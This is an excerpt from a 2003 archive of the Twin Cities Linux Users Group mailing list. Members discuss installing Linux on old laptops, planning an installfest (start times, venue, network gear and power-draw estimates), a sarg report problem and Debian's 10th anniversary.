<1060572550.1585.3.camel@pokey.penguinpackets.com> On Sun, 2003-08-10 at 20:56, Sam MacDonald wrote: > I have an AST Bravo NB-RC laptop > CPU = 486/33 Color > RAM = 20 mb > HDD = 190 mb > VID = Chips & Technologies 65530 > FDD = 1.44 > Network = Xircom 10 mbt > Zip Drive = Parallel Port 100 mb. > > Any chance that I could install Linux on this and get X going with 190 mb of > disk? > Just enough to get network, zipdrive, and maybe X running. > You could try Zipslack and be extremely careful with what else you install. Zipslack was about 100mb the last time I "installed" it. You could also try one of the mini-distros like lnx-bbc or something like that. Kelly Black KB0GBJ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joel_cd at yahoo.com Sun Aug 10 23:20:47 2003 From: joel_cd at yahoo.com (Joel Dick) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <20030808211619.GA29743@mail.el-swifto.com> Message-ID: <20030811042047.63507.qmail@web13806.mail.yahoo.com> --- "John J. Trammell" wrote: > On Fri, Aug 08, 2003 at 03:56:15PM -0500, Rick Meyerhoff wrote: > > I have been working on a "Install Fest How-To" since I did not find > > anything valuable on the net. If you find something let me know by > > replying to this post. > > > > http://www.google.com/search?q=linux+installfest+howto > > Results 1 - 10 of about 2,270. Search took 0.08 seconds. > > > Just for the record, Joe Hesse (joe.hesse@saintpaul.edu) said he could > > > host *any* *kind* of event for the TCLUG at the Saint Paul Tech > College, > > next to the basilica. > > > > *Any* kind? I'm thinking "tractor pull" here. > Forget tractor pull, perhaps a small battle bot arena? :) > -- > trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA > 36F5 > Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, > Minnesota > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Mon Aug 11 08:17:48 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <000a01c35fab$cb85dd60$6501a8c0@isd.net> References: <20030810052506.GA9117@mail.el-swifto.com> <3F36AE34.9080402@eworld3.net> <20030810215912.GA17506@mail.el-swifto.com> <000a01c35fab$cb85dd60$6501a8c0@isd.net> Message-ID: <20030811131748.GA23874@mail.el-swifto.com> On Sun, Aug 10, 2003 at 08:56:34PM -0500, Sam MacDonald wrote: > I have an AST Bravo NB-RC laptop > CPU = 486/33 Color > RAM = 20 mb > HDD = 190 mb > VID = Chips & Technologies 65530 > FDD = 1.44 > Network = Xircom 10 mbt > Zip Drive = Parallel Port 100 mb. > > Any chance that I could install Linux on this and get X going with 190 mb of > disk? Just enough to get network, zipdrive, and maybe X running. > I don't see why not, if you can fit your X install into 100 Mb or so. I have basic networking on this laptop, and adding parport devices would only take a kernel recompile. I've run X on a 486/25 so I know it can be done. If you went with slackware or linuxfromscratch I'm sure you could get more bang for your buck than I did with Debian. Apt on a 386 has to be the saddest thing ever. It takes about 15 minutes to build the dependency tree. I know there's a lot of cruft in my install (no, I *don't* need exim, thanks), so I'm not pushing the envelope any. -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Mon Aug 11 08:48:41 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Have date for Installfest Message-ID: I've received confirmation from our facilities. I can have our big conference room for Saturday, September 13th. Facilities wants to know times and whether food will be involved. I can easily answer the second question in the affirmative, but have no idea what's a good time frame for an installfest. Suggestions? History? Bruce Bruce Broecker Network Comm Supervisor The Toro Company _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crumley at belka.space.umn.edu Mon Aug 11 09:28:26 2003 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <20030811131748.GA23874@mail.el-swifto.com> References: <20030810052506.GA9117@mail.el-swifto.com> <3F36AE34.9080402@eworld3.net> <20030810215912.GA17506@mail.el-swifto.com> <000a01c35fab$cb85dd60$6501a8c0@isd.net> <20030811131748.GA23874@mail.el-swifto.com> Message-ID: <20030811092826.A2033@gordo.space.umn.edu> > If you went with slackware or linuxfromscratch I'm sure you could get > more bang for your buck than I did with Debian. Apt on a 386 has to be > the saddest thing ever. It takes about 15 minutes to build the > dependency tree. I know there's a lot of cruft in my install (no, I > *don't* need exim, thanks), so I'm not pushing the envelope any. Yeah, there are too many packages in recent versions of Debian hardware - the package database overloads old hardware. You are better off sticking with older versions, or finding somewhere with a scaled back package database. -- Jim Crumley |Twin Cities Linux Users Group Mailing List (TCLUG) crumley@fields.space.umn.edu |Minneapolis/St. Paul, Minnesota Ruthless Debian Zealot |http://www.mn-linux.org/ Never laugh at live dragons |Dmitry's free,Jon's next? http://faircopyright.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Mon Aug 11 10:54:16 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: References: Message-ID: <20030811155416.GA21442@autonomous.tv> On Mon, Aug 11, 2003 at 08:48:41AM -0500, Bruce Broecker wrote: >I've received confirmation from our facilities. I can have our big >conference room for Saturday, September 13th. Facilities wants to know >times and whether food will be involved. I can easily answer the second >question in the affirmative, but have no idea what's a good time frame >for an installfest. Suggestions? History? Historically installfests are on a Saturday and begin at noon. I have noticed that by around 6 or 7 o'clock people tend to be about ready to be done. We do normally have pizza delivered so you are right on with the food answer. I had a passing idea the other night. Why not collectively build and installfest box? We could all pitch in parts and time and a couple bucks and build a decent server to hold distros and burn off ISO's and the like. I am sure we could even find a home (possibly a roaming home) for the box to live while it is not at an installfest. My thought is, have it live at something like installfest.tclug.org (/me smiles at jima) and allow people to use it on a regular basis. Of course, this would require extra bandwidth (which is not free). However, we could also use if for some low-bandwidth applications, like installfest documentation and picture archives. Just a thought... No need to reinvent gladiator, but gladiator is not as mobile as it once was. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030811/6fb6a086/attachment.pgp From bruce.broecker at toro.com Mon Aug 11 11:12:45 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest Message-ID: OK, noon works for me. Here's what I have available: 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching equipment. Cisco Aironet AP1200, if desired. at least 3 separate 20 amp circuits (possibly more). tables and chairs (it's a big conference room laid out in presentation format). SVGA projector, if somebody wants to project an install on the big screen. Plenty of parking. What will be needed: Patch cords - most of what I have are shorter lengths and we will probably need longer stuff. Power strips and extension cords, of course. I'm going to post a notice to my IS department, as well as our engineering group, so there is a possibility of substantial numbers of new faces (including mine, since I've only participated virtually). Bruce Broecker Network Comm Supervisor The Toro Company >>> spencer@autonomous.tv 08/11/03 10:54AM >>> On Mon, Aug 11, 2003 at 08:48:41AM -0500, Bruce Broecker wrote: >I've received confirmation from our facilities. I can have our big >conference room for Saturday, September 13th. Facilities wants to know >times and whether food will be involved. I can easily answer the second >question in the affirmative, but have no idea what's a good time frame >for an installfest. Suggestions? History? Historically installfests are on a Saturday and begin at noon. I have noticed that by around 6 or 7 o'clock people tend to be about ready to be done. We do normally have pizza delivered so you are right on with the food answer. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Mon Aug 11 11:25:09 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] sarg Message-ID: <002f01c36025$2395eb70$dc0115ac@DELL2> I am using sarg for my squid reports. It was working fine, but now when I run it I get "SARG: No Records Found". Anyone know why this would be, or where there is a user forum on sarg? They have a list, but it doesn't appear to be for user help. Raymond _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 11 12:58:15 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: References: Message-ID: <20030811125815.0d12e86f.sfertch@real-time.com> The last few installfest I've been at started at 10 if I'm not mistaken... Personally, I think more people like to start at 10, or shortly thereafter. When I got the the one that Andy setup @ 11:30 or so, there was already a number of peole there. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From eh at constantdata.com Mon Aug 11 13:31:39 2003 From: eh at constantdata.com (A. A. El Haddi) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Rhat 7.3 Message-ID: Any one has a copy of redhat 7.3 I could borrow. I misplaced my copy and need to reinstall one of the boxes. I am looking for someone in Eden Prairie, Wayzata, Hopkins or West side of TC's area. Thanks. --elhaddi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Mon Aug 11 13:33:19 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: <20030811125815.0d12e86f.sfertch@real-time.com> References: <20030811125815.0d12e86f.sfertch@real-time.com> Message-ID: <3F37E16F.9050000@myrealbox.com> Shawn wrote: > The last few installfest I've been at started at 10 if I'm not mistaken... > >Personally, I think more people like to start at 10, or shortly thereafter. When I got the the one that Andy setup @ 11:30 or so, there was already a number of peole there. > > > > The last installfest (officially) went from 10AM til 5 pm. But, Jima, a few others and I were there until 6:30 or 7 cleaning up, and packing up. I think that's a good time, and those of us with core servers (etc) show up a little earlier to get things set up and running. On the same topic, I don't think we need to start building a new server for installfests (mine can work fine, but it sounds like a great idea) I posted previously what mine consisted of. Here it is again: (I've added a few things since then) AMD Athlon XP 2600+ Asus A7N8X Deluxe Motherboard 512DDR 2700 (333MHz) GeForce 4 Ti4200 128MB AGP HDs: (3) 120 GB WD Special Editions (1) 80GB WD Special Edition Dual onboard 10/100 LAN (can do two segments, or filter/serve between world and local LAN) Linux Red Hat 9.0 (with all current updates) Dual 18" LCDs (don't have dual set up under Linux yet, though) Jima- I remember you saying that you wouldn't be able to make it to the next one likely. Still can't make it, or what? If so, we should get together so I can get a copy of your ISO mirrors (and get mine all set up...) Also, do we need any networking equipment? I'm trying to figure out exactly what to do with these Bay Networks Chassi I have, (gotten belugered with requests, lol) and can probably bring one or more with (10/100 for LAN, gigabit for between chassi) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From florin at iucha.net Mon Aug 11 13:44:01 2003 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: <3F37E16F.9050000@myrealbox.com> References: <20030811125815.0d12e86f.sfertch@real-time.com> <3F37E16F.9050000@myrealbox.com> Message-ID: <20030811184401.GF2497@iucha.net> On Mon, Aug 11, 2003 at 01:33:19PM -0500, K B wrote: > I think that's a good time, and those of us with core servers (etc) show > up a little earlier to get things set up and running. > > On the same topic, I don't think we need to start building a new server > for installfests (mine can work fine, but it sounds like a great idea) I > posted previously what mine consisted of. Here it is again: (I've added > a few things since then) > > AMD Athlon XP 2600+ > Asus A7N8X Deluxe Motherboard > 512DDR 2700 (333MHz) > GeForce 4 Ti4200 128MB AGP > HDs: > (3) 120 GB WD Special Editions > (1) 80GB WD Special Edition > Dual onboard 10/100 LAN (can do two segments, or filter/serve between > world and local LAN) > Linux Red Hat 9.0 (with all current updates) > Dual 18" LCDs (don't have dual set up under Linux yet, though) Naah. For the server we need an ugly duckling nobody wants to play with. Just sitting in a corner serving files... Any old PII-class should do it just fine over 100 mbit. florin -- Don't question authority: they don't know it either! -------------- next part -------------- A non-text attachment was scrubbed... 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Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> kcbnac@myrealbox.com 08/11/03 01:33PM >>> Shawn wrote: > The last few installfest I've been at started at 10 if I'm not mistaken... > >Personally, I think more people like to start at 10, or shortly thereafter. When I got the the one that Andy setup @ 11:30 or so, there was already a number of peole there. > > > > The last installfest (officially) went from 10AM til 5 pm. But, Jima, a few others and I were there until 6:30 or 7 cleaning up, and packing up. I think that's a good time, and those of us with core servers (etc) show up a little earlier to get things set up and running. Also, do we need any networking equipment? I'm trying to figure out exactly what to do with these Bay Networks Chassi I have, (gotten belugered with requests, lol) and can probably bring one or more with (10/100 for LAN, gigabit for between chassi) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Mon Aug 11 15:34:40 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308112034.h7BKYec20448@crusader.real-time.com> A new TCLUG classified ad at was placed Mon Aug 11 15:34:40 2003. Name: richard heil Category: computerwanted Subject: want unix/linux distros Ad: am interested in Debian and unix bsd distros To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Mon Aug 11 17:17:48 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: References: Message-ID: <3F38160C.1030808@eworld3.net> I'm glad that some people are interested in hosting and running another install fest. Here are some things to think about: The last time we had a fest in a conference room we blew out the power. If we estimate 20 machines at 2 amps per machine, that's 40 amps. That's a rough estimate, I will have a better description in the How-To. Some questions: Is there enough (RDBMS pun warning) table space for 20 computers? Will it be easy for people to get computers from the parking lot in and out of the room? I'm not trying to be an asshole, but from my very limited experience and from reading a few install fest pages I'm beginning to understand the issues involved. I will try to get a rough draft of the Intro and first section of my How-To posted in the next few days. Bruce Broecker wrote: > I've received confirmation from our facilities. I can have our big conference room for Saturday, September 13th. Facilities wants to know times and whether food will be involved. I can easily answer the second question in the affirmative, but have no idea what's a good time frame for an installfest. Suggestions? History? > > Bruce > > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Mon Aug 11 17:38:40 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party Message-ID: <1060641520.2896.9.camel@myah> Hey, I know there are more people out there that use a Real Linux distribution. Is anything planned to celebrate Debian's 10th Birthday? See here for more info - http://www.debconf.org/10years/ Currently a Minneapolis event remains listed as a "Call for interest", so...who's interested? -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From brad at bloogue.net Mon Aug 11 17:42:06 2003 From: brad at bloogue.net (Bradley D Johnston) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <1060641520.2896.9.camel@myah> Message-ID: <005101c36059$caab5dd0$6501a8c0@bandy> Debian rules. I'm all over that. -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Ryan Hayle Sent: Monday, August 11, 2003 5:39 PM To: tclug-list@mn-linux.org Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party Hey, I know there are more people out there that use a Real Linux distribution. Is anything planned to celebrate Debian's 10th Birthday? See here for more info - http://www.debconf.org/10years/ Currently a Minneapolis event remains listed as a "Call for interest", so...who's interested? -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.507 / Virus Database: 304 - Release Date: 8/4/2003 --- Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.507 / Virus Database: 304 - Release Date: 8/4/2003 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mike at mikemaurer.net Mon Aug 11 18:31:00 2003 From: mike at mikemaurer.net (Mike Maurer) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <005101c36059$caab5dd0$6501a8c0@bandy> References: <1060641520.2896.9.camel@myah> <005101c36059$caab5dd0$6501a8c0@bandy> Message-ID: <20030811233100.GA20156@epoxy.mrs.umn.edu> I don't live in the TC area, but I'm very interested. I would help out however I could. Mike On Mon, Aug 11, 2003 at 05:42:06PM -0500, Bradley D Johnston wrote: > Debian rules. I'm all over that. > > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Ryan Hayle > Sent: Monday, August 11, 2003 5:39 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party > > Hey, I know there are more people out there that use a Real Linux > distribution. Is anything planned to celebrate Debian's 10th Birthday? > See here for more info - http://www.debconf.org/10years/ Currently a > Minneapolis event remains listed as a "Call for interest", so...who's > interested? > > -- > Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Mon Aug 11 20:55:15 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Have date for Installfest References: <3F38160C.1030808@eworld3.net> Message-ID: <007001c36074$c6775cd0$0201a8c0@brinstar> Rick Meyerhoff writes: > The last time we had a fest in a conference room we blew out the > power. If we estimate 20 machines at 2 amps per machine, > that's 40 amps. That's a rough estimate While it is always good to be conservative in your estimates, it seems high. A computer usually uses the most power when it is starting, since that is when the drives spin up. High end video cards might use more power, but I've never measured since I don't play Quake on my servers. I've seen different racks of eight servers pull between 1.4 and 6 amps total. I've seen a box with eight IDE drives never go above 1.1 amps. Two amps is probably a safe estimate, but a more realistic one might be one amp, assuming everyone isn't playing Quake on a GeForce 4 or powering up at once. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jimstreit at northlans.com Mon Aug 11 20:58:51 2003 From: jimstreit at northlans.com (Jim Streit) Date: Mon Jan 17 12:40:14 2005 Subject: [TCLUG] Rhat 7.3 In-Reply-To: References: Message-ID: <1111.192.168.70.30.1060653531.squirrel@mail.northlans.com> I work in edina, I can make you a copy. > > Any one has a copy of redhat 7.3 I could borrow. > I misplaced my copy and need to reinstall one of the > boxes. I am looking for someone in Eden Prairie, Wayzata, > Hopkins or West side of TC's area. > > Thanks. > > > --elhaddi > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Mon Aug 11 21:29:50 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: <007001c36074$c6775cd0$0201a8c0@brinstar> References: <3F38160C.1030808@eworld3.net> <007001c36074$c6775cd0$0201a8c0@brinstar> Message-ID: <1153.192.1.1.23.1060655390.squirrel@dccmn.com> It's more when you add in monitors. Each can draw 100-200w (~1-2 amps). More on powerup when the degauss kicks in, David Phillips said: > Rick Meyerhoff writes: >> The last time we had a fest in a conference room we blew out the >> power. If we estimate 20 machines at 2 amps per machine, >> that's 40 amps. That's a rough estimate > > While it is always good to be conservative in your estimates, it seems > high. A computer usually uses the most power when it is starting, since > that is when the drives spin up. High end video cards might use more > power, but I've never measured since I don't play Quake on my servers. > I've seen different racks of eight servers pull between 1.4 and 6 amps > total. I've seen a box with eight IDE drives never go above 1.1 amps. > > Two amps is probably a safe estimate, but a more realistic one might be > one amp, assuming everyone isn't playing Quake on a GeForce 4 or > powering up at once. > > -- > David Phillips > http://david.acz.org/ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Sun Aug 10 13:35:11 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:15 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <3F35912D.000004.01072@home-3bqy5ht5fr> References: <20030809144018.A25778@thinkunix.net> <3F35912D.000004.01072@home-3bqy5ht5fr> Message-ID: <20030810183511.GA30188@skuld.wookimus.net> On Sat, Aug 09, 2003 at 07:26:21PM -0500, Larry Chisholm wrote: > Thanks Scott. I had one of those before the lexmark. should have kept > it I guess. Larry, please quit sending GIF attachments to the list. We have a preferred policy to send only plain-text email to the list. Digital signatures are OK, if you feel it's absolutely necessary. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From florin at iucha.net Mon Aug 11 23:49:27 2003 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 12:40:15 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030810183511.GA30188@skuld.wookimus.net> References: <20030809144018.A25778@thinkunix.net> <3F35912D.000004.01072@home-3bqy5ht5fr> <20030810183511.GA30188@skuld.wookimus.net> Message-ID: <20030812044927.GJ2497@iucha.net> On Sun, Aug 10, 2003 at 01:35:11PM -0500, Chad Walstrom wrote: > Larry, please quit sending GIF attachments to the list. We have a > preferred policy to send only plain-text email to the list. Digital > signatures are OK, if you feel it's absolutely necessary. Now, now, Chewie... What about the digital signatures? florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030811/991202e6/attachment.pgp From david at acz.org Tue Aug 12 00:04:39 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest References: <3F38160C.1030808@eworld3.net> <007001c36074$c6775cd0$0201a8c0@brinstar> <1153.192.1.1.23.1060655390.squirrel@dccmn.com> Message-ID: <002201c3608f$3b950e80$0201a8c0@brinstar> Wayne Johnson writes: > It's more when you add in monitors. Each can draw 100-200w (~1-2 > amps). More on powerup when the degauss kicks in, Ah, good point, I had forgotten about those. Just tell everyone to bring LCDs. :) -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Tue Aug 12 07:44:36 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest Message-ID: <1060692276.c94dd860kcbnac@myrealbox.com> Well, better be ready for a few...*Has a 550 Watt Power Supply and a GeForce 4* But my new LCD should bring my usage back down a bit... -----Original Message----- From: "David Phillips" To: Date: Mon, 11 Aug 2003 20:55:15 -0500 Subject: Re: [TCLUG] Have date for Installfest Rick Meyerhoff writes: > The last time we had a fest in a conference room we blew out the > power. If we estimate 20 machines at 2 amps per machine, > that's 40 amps. That's a rough estimate While it is always good to be conservative in your estimates, it seems high. A computer usually uses the most power when it is starting, since that is when the drives spin up. High end video cards might use more power, but I've never measured since I don't play Quake on my servers. I've seen different racks of eight servers pull between 1.4 and 6 amps total. I've seen a box with eight IDE drives never go above 1.1 amps. Two amps is probably a safe estimate, but a more realistic one might be one amp, assuming everyone isn't playing Quake on a GeForce 4 or powering up at once. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Tue Aug 12 07:45:34 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest Message-ID: <1060692334.c94dd860kcbnac@myrealbox.com> That's what I'm doing. The new 18" Mag at Best Buy, this week only 399 after 50 rebate. (Got a pair...they're great :) -----Original Message----- From: "David Phillips" To: Date: Tue, 12 Aug 2003 00:04:39 -0500 Subject: Re: [TCLUG] Have date for Installfest Wayne Johnson writes: > It's more when you add in monitors. Each can draw 100-200w (~1-2 > amps). More on powerup when the degauss kicks in, Ah, good point, I had forgotten about those. Just tell everyone to bring LCDs. :) -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Tue Aug 12 07:49:45 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: <20030811155416.GA21442@autonomous.tv> Message-ID: I'm replying to a lot of stuff in this thread collectively. There are lots of small snippets to respond to, but I don't want to inundate the list with crap. (Chewie: I'm also trimming my headers. ;) On Mon, 11 Aug 2003, Spencer Butler wrote: > Historically installfests are on a Saturday and begin at noon. Uhm, I don't think so, no. > I had a passing idea the other night. Why not collectively build and > installfest box? We could all pitch in parts and time and a couple > bucks and build a decent server to hold distros and burn off ISO's and > the like. I am sure we could even find a home (possibly a roaming home) > for the box to live while it is not at an installfest. This sounds like a pretty good idea. > My thought is, have it live at something like installfest.tclug.org (/me > smiles at jima) and allow people to use it on a regular basis. Spencer, I've told you before: No. Oh, you mean about the DNS. Sure, no problem. :D > Of course, this would require extra bandwidth (which is not free). > However, we could also use if for some low-bandwidth applications, like > installfest documentation and picture archives. This seems okay. > Just a thought... > No need to reinvent gladiator, but gladiator is not as mobile as it once > was. Yeah, it's friggin' huge now. And heavy, too, I'm told. Let's not even go into how fragile it is. :( On Mon, 11 Aug 2003, Shawn wrote: > The last few installfest I've been at started at 10 if 